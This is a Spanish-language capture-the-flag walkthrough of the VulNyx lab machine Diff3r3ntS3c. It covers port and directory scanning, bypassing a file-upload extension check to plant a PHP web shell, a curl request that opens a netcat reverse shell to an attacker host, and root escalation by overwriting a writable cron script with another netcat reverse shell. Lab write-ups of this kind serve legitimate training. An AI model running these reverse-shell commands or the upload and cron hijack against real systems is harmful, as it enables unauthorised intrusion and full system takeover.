VulNyx - Diff3r3ntS3c

logo

  • File Upload - (Bypass Extension Check)
  • Abusing Cron Job - (Privesc/script.sh)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.14

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64

Escaneo de servicios

❯ nmap -sV -sC -p 80 -v 192.168.1.14

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Diff3r3ntS3c

HTTP TCP - 80

http

En Get In Touch veo una herramienta para subir archivos.

GetInTouch

Introduzco datos e intento subir un archivo php.

GetInTouch2

Me devuelve el siguiente error.

GetInTouch2Error

Intercepto la petición con BurpSuite y la mando al intruder.

intruder

En la pestaña payloads añado diferentes extensiones para comprobar si existe alguna extensión válida que me permita subir, mas abajo en el apartado Payload encoding desmarco la casilla URL-encode these characters.

payloads

Pulso de botón Start-attack.

resume_attack

Realizo fuerza bruta de directorios y encuentro la carpeta uploads.

❯ gobuster dir -u 192.168.1.13 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.13
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
==============================================================
Starting gobuster in directory enumeration mode
==============================================================
/images               (Status: 301) [Size: 313] [--> http://192.168.1.13/images/]
/uploads              (Status: 301) [Size: 314] [--> http://192.168.1.13/uploads/]
/assets               (Status: 301) [Size: 313] [--> http://192.168.1.13/assets/]

Al visitar el directorio uploads veo lo siguiente.

uploads

En el directorio número 6 tengo estos dos archivos.

dir6

El archivo userinfo.txt contiene el nombre y el número de teléfono.

userinfo

El archivo cmd.phtml se ha subido correctamente y puedo ejecutar comandos.

rce

Lanzo la shell.

❯ curl "http://192.168.1.13/uploads/6/cmd.phtml?cmd=nc%20-c%20/bin/bash%20192.168.1.20%20443"

Obtengo la shell como usuario candidate.

shellUser

Realizo el tratamiento para la TTY.

script /dev/null -c bash
ctrl +z
stty raw -echo;fg
reset
xterm
stty rows 50 cols 200
export TERM=xterm-256color SHELL=bash
source /etc/skel/.bashrc

Enumero el sistema por tareas cron y veo que el script makeBackup.sh se lanza como usuario root.

candidate@Diff3r3ntS3c:/home/candidate$ cat /etc/crontab

cron

Compruebo los permisos del archivo makeBackup.sh y veo que tengo todos los permisos.

makeBackup

El contenido de makeBackup.sh es el siguiente:

#!/bin/bash

# Source folder to be backed up
source_folder="/var/www/html/uploads/"

# Destination folder for the backup
backup_folder="/home/candidate/.backups/"

# Create backup folder if it doesn't exist
mkdir -p "$backup_folder"

# Backup file name
backup_file="${backup_folder}backup.tar.gz"

# Create a compressed tar archive of the source folder
tar -czf "$backup_file" -C "$source_folder" .

El script automatiza la tarea de crear una copia de seguridad comprimida de los archivos en el directorio especificado, pero en este caso no importa lo que hace el script, lo que si importa es que al tener permisos de escritura puedo modificarlo para obtener una shell de root. Edito el script y lo dejo de la siguiente forma:

#!/bin/bash

nc -c /bin/bash 192.168.1.20 444 

Dejo un netcat a la escucha y en unos segundos obtengo el root.

root

Y aquí termina la máquina Diff3r3ntS3c.

Saludos!